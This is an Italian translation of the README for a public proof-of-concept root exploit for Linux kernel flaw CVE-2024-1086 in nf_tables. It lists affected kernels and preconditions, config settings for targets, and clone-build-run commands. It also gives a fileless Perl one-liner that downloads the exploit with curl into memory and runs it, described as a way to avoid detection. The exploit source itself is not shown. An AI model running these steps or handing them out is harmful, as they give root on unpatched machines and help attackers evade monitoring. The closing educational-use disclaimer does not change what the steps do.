
Exploit Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra la v5.14 e la v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99.4% nelle immagini KernelCTF.
Proof-of-Concept universale per l'escalation locale dei privilegi per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra v5.14 e v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99,4% nelle immagini KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Un'analisi completa dell'exploit - incluse informazioni di base e un sacco di diagrammi utili - è disponibile nell'articolo del blog Flipping Pages.
L'exploit interessa le versioni dalla v5.14 (inclusa) alla v6.6 (inclusa), escludendo i rami corretti v5.15.149>, v6.1.76>, v6.6.15>. La patch per queste versioni è stata rilasciata a febbraio 2024. La vulnerabilità sottostante interessa tutte le versioni (esclusi i rami stabili corretti) dalla v3.15 alla v6.8-rc1.
Avvertenze:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluso Ubuntu v6.5)CONFIG_USER_NS=y), che tali namespace utente siano non privilegiati (comando sh sysctl kernel.unprivileged_userns_clone = 1) e che nf_tables sia abilitato (kconfig CONFIG_NF_TABLES=y). Di default, tutto ciò è abilitato su Debian, Ubuntu e KernelCTF. Altre distribuzioni non sono state testate, ma potrebbero funzionare. Inoltre, l'exploit è stato testato solo su x64/amd64.I valori predefiniti dovrebbero funzionare subito su Debian, Ubuntu e KernelCTF con una shell locale. Su configurazioni/distribuzioni non testate, assicurarsi che i valori kconfig corrispondano al kernel di destinazione. Questi possono essere specificati in src/config.h. Se si esegue l'exploit su una macchina con più di 32GiB di memoria fisica, assicurarsi di aumentare CONFIG_PHYS_MEM.
Se si esegue l'exploit tramite SSH (sulla macchina di test) o una reverse shell, potrebbe essere utile impostare CONFIG_REDIRECT_LOG su 1 per evitare attività di rete non necessarie.
Se questo non è pratico per te, è disponibile un binario x64 compilato con la configurazione predefinita.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binario: CVE-2024-1086/exploit
Eseguire l'exploit è altrettanto banale:
./exploit
È supportata anche l'esecuzione senza file, per situazioni di penetration test in cui è necessario evitare rilevamenti. Tuttavia, Perl deve essere installato sul target:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
I programmi e gli script ("programmi") in questa directory/cartella/repository di software ("repository") sono pubblicati, sviluppati e distribuiti solo per scopi educativi/di ricerca. Io ("il creatore") non approvo alcun uso dannoso o illegale dei programmi in questa repository, poiché l'intento è condividere ricerca e non compiere attività illegali con essa. Non sono legalmente responsabile per qualsiasi cosa tu faccia con i programmi in questa repository.